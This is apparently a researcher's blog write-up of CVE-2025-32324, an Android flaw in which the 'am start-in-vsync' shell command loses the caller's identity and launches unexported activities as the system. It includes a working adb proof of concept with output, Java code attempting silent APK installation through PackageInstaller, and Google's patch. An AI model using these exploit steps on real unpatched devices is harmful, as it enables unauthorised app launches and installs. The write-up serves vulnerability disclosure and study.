Disclaimer: This research is conducted independently during my personal time as an open-source security researcher. The views and findings presented here are my own and do not represent or reflect the opinions of my current employer or any affiliated organizations.
During my recent research into Android’s activity management subsystem, I discovered a critical authentication bypass vulnerability in the ActivityManagerShellCommand’s start-in-vsync
command. This flaw allows attackers to achieve LaunchAnyWhere capability, enabling the launch of arbitrary unexported Activities within the system. This behavior should normally be restricted by Android’s security model.
Introduction#
While reverse engineering Android’s ActivityManager implementation, I stumbled upon an interesting discrepancy in how the start-in-vsync
command handles authentication context compared to the standard start-activity
command. What initially seemed like a minor implementation detail turned out to be a significant security vulnerability that completely bypasses Android’s activity export restrictions.
The root cause lies in how authentication information gets lost during inter-thread communication via Android’s Handler mechanism. This seemingly innocent architectural choice creates a powerful LaunchAnyWhere primitive that can be exploited to invoke any unexported Activity in the system.
Vulnerability Analysis#
Let me walk you through the vulnerable code. At first glance, it appears straightforward:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
| // the normal path: straightforward and secure
case "start":
case "start-activity":
return runStartActivity(pw); // executes directly in current thread
// the problematic path where things get interesting
case "start-in-vsync":
final ProgressWaiter waiter = new ProgressWaiter(0);
final int[] startResult = new int[1];
startResult[0] = -1;
// here's the bug: we're jumping to the UI thread via Handler
mInternal.mUiHandler.runWithScissors(
() -> Choreographer.getInstance().postFrameCallback(frameTimeNanos -> {
try {
// this call happens in a different thread context!
// binder auth info from original caller is lost here
startResult[0] = runStartActivity(pw);
waiter.onFinished(0, null /* extras */);
} catch (Exception ex) {
getErrPrintWriter().println(
"Error: unable to start activity, " + ex);
}
}),
USER_OPERATION_TIMEOUT_MS / 2);
waiter.waitForFinish(USER_OPERATION_TIMEOUT_MS);
return startResult[0]; // return whatever happened in that other thread
|
The crucial difference between start-activity
and start-in-vsync
becomes apparent when you examine the execution flow. While start-activity
executes runStartActivity
directly in the current thread, start-in-vsync
delegates this execution to ATMS’s mUiHandler
thread via a frame callback.
Here’s where the magic (and the bug) happens: when Android’s Handler mechanism transfers execution between threads, the Binder authentication context doesn’t follow along. This means that runStartActivity
executed in the UI handler thread sees the authentication credentials of the system_server
process (UID 1000) rather than the original caller.
I verified this behavior by adding some debug logging to trace the UID transitions:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
| // let's add some debug logging to see what's really happening
case "start":
case "start-activity":
// this should show our shell UID (2000)
pw.println("Direct call - UID: " + Binder.getCallingUid() + ", PID: " + Binder.getCallingPid());
return runStartActivity(pw);
case "start-in-vsync":
final ProgressWaiter waiter = new ProgressWaiter(0);
final int[] startResult = new int[1];
startResult[0] = -1;
mInternal.mUiHandler.runWithScissors(
() -> Choreographer.getInstance().postFrameCallback(frameTimeNanos -> {
try {
// watch the magic happen: this will show system_server UID (1000)!
pw.println("Handler call - UID: " + Binder.getCallingUid() + ", PID: " + Binder.getCallingPid());
startResult[0] = runStartActivity(pw);
waiter.onFinished(0, null /* extras */);
} catch (Exception ex) {
getErrPrintWriter().println(
"Error: unable to start activity, " + ex);
}
}),
USER_OPERATION_TIMEOUT_MS / 2);
waiter.waitForFinish(USER_OPERATION_TIMEOUT_MS);
return startResult[0];
|
Proof of Concept#
The authentication bypass becomes crystal clear when you compare the behavior of both commands side by side:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
| $ adb shell am start -n com.android.settings/.SubSettings
In AMSC.onCommand: callingUid=2000, callingPid=3873
Starting: Intent { cmp=com.android.settings/.SubSettings }
Exception occurred while executing 'start':
java.lang.SecurityException: Permission Denial: starting Intent { flg=0x10000000 cmp=com.android.settings/.SubSettings } from null (pid=3873, uid=2000) not exported from uid 1000
at com.android.server.wm.ActivityTaskSupervisor.checkStartAnyActivityPermission(ActivityTaskSupervisor.java:1184)
at com.android.server.wm.ActivityStarter.executeRequest(ActivityStarter.java:1223)
at com.android.server.wm.ActivityStarter.execute(ActivityStarter.java:865)
at com.android.server.wm.ActivityTaskManagerService.startActivityAsUser(ActivityTaskManagerService.java:1321)
at com.android.server.wm.ActivityTaskManagerService.startActivityAsUser(ActivityTaskManagerService.java:1262)
at com.android.server.am.ActivityManagerService.startActivityAsUserWithFeature(ActivityManagerService.java:3245)
at com.android.server.am.ActivityManagerShellCommand.runStartActivity(ActivityManagerShellCommand.java:869)
at com.android.server.am.ActivityManagerShellCommand.onCommand(ActivityManagerShellCommand.java:251)
at com.android.modules.utils.BasicShellCommandHandler.exec(BasicShellCommandHandler.java:97)
at android.os.ShellCommand.exec(ShellCommand.java:38)
at com.android.server.am.ActivityManagerService.onShellCommand(ActivityManagerService.java:10406)
at android.os.Binder.shellCommand(Binder.java:1143)
at android.os.Binder.onTransact(Binder.java:945)
at android.app.IActivityManager$Stub.onTransact(IActivityManager.java:5733)
at com.android.server.am.ActivityManagerService.onTransact(ActivityManagerService.java:2721)
at android.os.Binder.execTransactInternal(Binder.java:1411)
at android.os.Binder.execTransact(Binder.java:1350)
$ adb shell am start-in-vsync -n com.android.settings/.SubSettings
In AMSC.onCommand: callingUid=2000, callingPid=3914
In ATMS.mUiHandler: callingUid=1000, callingPid=1306
Starting: Intent { cmp=com.android.settings/.SubSettings }
|
The output speaks for itself: notice how the calling UID changes from 2000 (shell) to 1000 (system) when using start-in-vsync
. This UID elevation enables the LaunchAnyWhere attack, as activities that would normally reject our shell-level access now see us as the trusted system server.
Limitations and Attack Surface#
While this vulnerability is certainly interesting, it comes with some significant constraints that limit its practical exploitation potential. The most important limitation is that this flaw only exists within the ActivityManagerShellCommand interface. You can’t trigger it through standard ATMS Binder IPC calls.
This means attackers are restricted to using the am
command-line utility, which significantly limits the types of parameters that can be passed to target activities. Specifically, you cannot include arbitrary Parcelable objects in the Intent, which rules out many advanced exploitation techniques that rely on complex data structures.
This parameter restriction is particularly limiting because it prevents chaining this vulnerability with Intent Bridge attacks against third-party applications (UID > 10000) to access their FileProviders, which is a common technique in Android exploitation.
Exploitation Attempts#
Silent Installation Attack#
My first instinct was to weaponize this vulnerability for silent APK installation by targeting the PackageInstaller’s InstallInstalling
activity. The theory was sound: if I could launch this normally-protected activity with system-level privileges, I might be able to bypass the user confirmation dialogs.
I crafted the following exploitation approach:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
| public static int writeApkToPackageInstaller(Context context, File apkFile) throws IOException {
if (!apkFile.exists() || !apkFile.getName().endsWith(".apk")) {
Log.e(TAG, "Must use an apk file to silent install.");
return -1;
}
// step 1: create a PackageInstaller session (this part works fine)
PackageInstaller pi = context.getPackageManager().getPackageInstaller();
PackageInstaller.SessionParams params =
new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL);
int sessionId = pi.createSession(params);
PackageInstaller.Session session = pi.openSession(sessionId);
// step 2: stream the APK data into the session
OutputStream os = session.openWrite("package", 0, -1);
FileInputStream fis = new FileInputStream(apkFile);
byte[] buffer = new byte[4096];
for (int n; (n = fis.read(buffer)) > 0;) {
os.write(buffer, 0, n); // push APK bytes into the installer
}
fis.close();
os.flush();
os.close();
return sessionId; // return the session ID for later use
}
public static void exploitCVE_2025_32324(int sessionId, File apkFile) throws IOException {
if (!Android.checkIfSecurityPatchBefore("2025-09-01")) {
Log.e(TAG, "Oops! It looks like CVE-2025-32324 bug has been fixed on this device.");
return;
}
// here's the magic: use start-in-vsync to bypass activity export restrictions
String[] cmd = {
"am", "start-in-vsync", // the vulnerable command that loses auth context
"-n", Constants.Package.PACKAGE_INSTALLER + "/.InstallInstalling",
"-d", Uri.fromFile(apkFile).toString(), // point to our APK
"--ei", "EXTRA_STAGED_SESSION_ID", Integer.toString(sessionId), // link to session
};
// fire off the exploit and hope for the best
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
String output;
while ((output = reader.readLine()) != null) {
Log.d(TAG, output); // see what happens
}
}
public static void autoInstallFromAsset(Context context, String asset) throws IOException {
// step 1: extract our payload APK from app assets
File apkFile = new File(context.getCacheDir(), asset);
Android.copyAsset(context, asset, apkFile);
// step 2: set up the PackageInstaller session
int sessionId = AndroidH.writeApkToPackageInstaller(context, apkFile);
// step 3: copy to Downloads so PackageInstaller can access it
// (this creates a duplicate but it's necessary for the file URI)
Android.copyFileToDownload(context, apkFile, apkFile.getName(),
"application/vnd.android.package-archive");
// step 4: launch the exploit!
// we use file:// URI because when executed as UID 1000,
// FileUriExposedException restrictions don't apply to us
File apkFileInDownload = new File(Environment
.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS), apkFile.getName());
exploitCVE_2025_32324(sessionId, apkFileInDownload);
}
|
Unfortunately, this approach hit a roadblock. The InstallInstalling
activity expects an ApplicationInfo
object as a parameter, which cannot be serialized and passed through the command line interface:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
| public static Intent createInstallingIntent(Context context, int sessionId, File apkFile) {
// this is how we WOULD construct the Intent if we had proper API access
Intent installingIntent = new Intent();
installingIntent.setClassName(Constants.Package.PACKAGE_INSTALLER,
Constants.Package.PACKAGE_INSTALLER + ".InstallInstalling");
installingIntent.putExtra("EXTRA_STAGED_SESSION_ID", sessionId);
installingIntent.setData(Uri.fromFile(apkFile));
// extract package info from the APK file
PackageInfo packageInfo = context.getPackageManager()
.getPackageArchiveInfo(apkFile.getAbsolutePath(), PackageManager.GET_PERMISSIONS);
if (packageInfo == null) {
Log.e(TAG, "getPackageArchiveInfo returns null, failed to auto install.");
return null;
}
installingIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
// hERE'S THE PROBLEM: this complex object can't be serialized via command line!
// the 'am' command has no way to pass this ApplicationInfo structure
installingIntent.putExtra("com.android.packageinstaller.applicationInfo",
packageInfo.applicationInfo);
return installingIntent;
}
|
The Android 15+ Roadblock#
What made this particularly frustrating was that this attack vector would have worked in Android 14 and earlier! In older versions, the missing ApplicationInfo
object would cause UI display issues but wouldn’t prevent the actual installation from proceeding in the background.
However, Google introduced a change that completely broke this exploitation path:
1
2
3
4
5
6
7
| - PackageUtil.AppSnippet as = getIntent()
- .getParcelableExtra(EXTRA_APP_SNIPPET, PackageUtil.AppSnippet.class);
+
+ // Dialogs displayed while changing update-owner have a blank icon. To fix this,
+ // fetch the appSnippet from the source file again
+ PackageUtil.AppSnippet as = PackageUtil.getAppSnippet(this, appInfo, sourceFile);
+ getIntent().putExtra(EXTRA_APP_SNIPPET, as);
|
This change moved the ApplicationInfo
dependency much earlier in the execution flow. Instead of the appInfo object being used only after installation begins, the new code immediately calls PackageUtil.getAppSnippet
during activity creation, which heavily depends on appInfo being non-null:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
| /**
* this is the method that kills our exploitation attempt.
* it expects a fully populated ApplicationInfo object, which we can't provide.
*/
public static AppSnippet getAppSnippet(
Activity pContext, ApplicationInfo appInfo, File sourceFile) {
final String archiveFilePath = sourceFile.getAbsolutePath();
PackageManager pm = pContext.getPackageManager();
// BOOM! this line crashes with NPE when appInfo is null
appInfo.publicSourceDir = archiveFilePath; // NullPointerException here!
// handle split APKs (we never get this far with null appInfo)
if (appInfo.splitNames != null && appInfo.splitSourceDirs == null) {
final File[] files = sourceFile.getParentFile().listFiles(
(dir, name) -> name.endsWith(SPLIT_APK_SUFFIX));
final String[] splits = Arrays.stream(appInfo.splitNames)
.map(i -> findFilePath(files, i + SPLIT_APK_SUFFIX))
.filter(Objects::nonNull)
.toArray(String[]::new);
appInfo.splitSourceDirs = splits;
appInfo.splitPublicSourceDirs = splits;
}
// extract app label from resources
CharSequence label = null;
if (appInfo.labelRes != 0) {
try {
label = appInfo.loadLabel(pm); // more NPE potential here
} catch (Resources.NotFoundException e) {
// fail silently
}
}
if (label == null) {
label = (appInfo.nonLocalizedLabel != null) ?
appInfo.nonLocalizedLabel : appInfo.packageName;
}
// load app icon
Drawable icon = null;
try {
if (appInfo.icon != 0) {
try {
icon = appInfo.loadIcon(pm); // and here too
} catch (Resources.NotFoundException e) {
// icon not found, use default
}
}
if (icon == null) {
icon = pContext.getPackageManager().getDefaultActivityIcon();
}
} catch (OutOfMemoryError e) {
Log.i(LOG_TAG, "Could not load app icon", e);
}
return new PackageUtil.AppSnippet(label, icon, pContext);
}
|
My testing confirmed this roadblock: the moment PackageUtil.getAppSnippet
tries to access appInfo.publicSourceDir
, a NullPointerException crashes the entire PackageInstaller process:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
| E FATAL EXCEPTION: main
Process: com.android.packageinstaller, PID: 31447
java.lang.RuntimeException: Unable to start activity ComponentInfo{com.android.packageinstaller/com.android.packageinstaller.InstallInstalling}: java.lang.NullPointerException: Attempt to write to field 'java.lang.String android.content.pm.ApplicationInfo.publicSourceDir' on a null object reference in method 'com.android.packageinstaller.PackageUtil$AppSnippet com.android.packageinstaller.PackageUtil.getAppSnippet(android.app.Activity, android.content.pm.ApplicationInfo, java.io.File)'
at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:4206)
at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:4393)
at android.app.servertransaction.LaunchActivityItem.execute(LaunchActivityItem.java:222)
at android.app.servertransaction.TransactionExecutor.executeNonLifecycleItem(TransactionExecutor.java:133)
at android.app.servertransaction.TransactionExecutor.executeTransactionItems(TransactionExecutor.java:103)
at android.app.servertransaction.TransactionExecutor.execute(TransactionExecutor.java:80)
at android.app.ActivityThread$H.handleMessage(ActivityThread.java:2773)
at android.os.Handler.dispatchMessage(Handler.java:109)
at android.os.Looper.loopOnce(Looper.java:232)
at android.os.Looper.loop(Looper.java:317)
at android.app.ActivityThread.main(ActivityThread.java:8934)
at java.lang.reflect.Method.invoke(Native Method)
at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:591)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:911)
Caused by: java.lang.NullPointerException: Attempt to write to field 'java.lang.String android.content.pm.ApplicationInfo.publicSourceDir' on a null object reference in method 'com.android.packageinstaller.PackageUtil$AppSnippet com.android.packageinstaller.PackageUtil.getAppSnippet(android.app.Activity, android.content.pm.ApplicationInfo, java.io.File)'
at com.android.packageinstaller.PackageUtil.getAppSnippet(PackageUtil.java:240)
at com.android.packageinstaller.InstallInstalling.onCreate(InstallInstalling.java:99)
at android.app.Activity.performCreate(Activity.java:9079)
at android.app.Activity.performCreate(Activity.java:9057)
at android.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1531)
at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:4188)
at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:4393)
at android.app.servertransaction.LaunchActivityItem.execute(LaunchActivityItem.java:222)
at android.app.servertransaction.TransactionExecutor.executeNonLifecycleItem(TransactionExecutor.java:133)
at android.app.servertransaction.TransactionExecutor.executeTransactionItems(TransactionExecutor.java:103)
at android.app.servertransaction.TransactionExecutor.execute(TransactionExecutor.java:80)
at android.app.ActivityThread$H.handleMessage(ActivityThread.java:2773)
at android.os.Handler.dispatchMessage(Handler.java:109)
at android.os.Looper.loopOnce(Looper.java:232)
at android.os.Looper.loop(Looper.java:317)
at android.app.ActivityThread.main(ActivityThread.java:8934)
at java.lang.reflect.Method.invoke(Native Method)
at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:591)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:911)
|
The Fix#
Google eventually addressed this vulnerability with a straightforward fix that eliminates the problematic thread transition. Here’s the patch that landed in the Android source tree:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| @@ -250,21 +250,13 @@
return runStartActivity(pw);
case "start-in-vsync":
final ProgressWaiter waiter = new ProgressWaiter(0);
- final int[] startResult = new int[1]; // remove complex result passing
- startResult[0] = -1;
mInternal.mUiHandler.runWithScissors(
() ->
Choreographer.getInstance().postFrameCallback(frameTimeNanos -> {
- try {
- startResult[0] = runStartActivity(pw); // OLD: execute in handler thread
- waiter.onFinished(0, null /* extras */);
- } catch (Exception ex) {
- getErrPrintWriter().println(
- "Error: unable to start activity, " + ex);
- }
+ waiter.onFinished(0, null /* extras */); // NEW: just sync timing
}),
USER_OPERATION_TIMEOUT_MS / 2);
waiter.waitForFinish(USER_OPERATION_TIMEOUT_MS);
- return startResult[0]; // OLD: return cross-thread result
+ return runStartActivity(pw); // NEW: execute in original thread!
|
The fix is elegant in its simplicity: instead of executing runStartActivity
inside the frame callback (where authentication context is lost), the patched code only uses the frame callback for timing synchronization, then executes runStartActivity
in the original thread context where authentication information is preserved.
This change maintains the intended vsync timing behavior while completely eliminating the authentication bypass vector.
Final Words#
CVE-2025-32324 demonstrates how small implementation details can create significant security flaws: a few lines of code difference between start-activity
and start-in-vsync
caused authentication context to be lost during thread transitions. Despite achieving complete authentication bypass, Android’s layered security model and rapid patching cycles limited the practical exploitation window.
This vulnerability shows that modern Android security issues are often logical flaws in system design rather than traditional memory corruption bugs. Understanding how different components interact is as important as finding the initial bug.
Google’s fix was straightforward: they kept the timing synchronization in the background thread but moved the actual security-sensitive operation back to the original thread where authentication context is preserved.
The lesson: when debugging Android security, always verify which thread your code runs in and what permissions that thread actually has.
References:#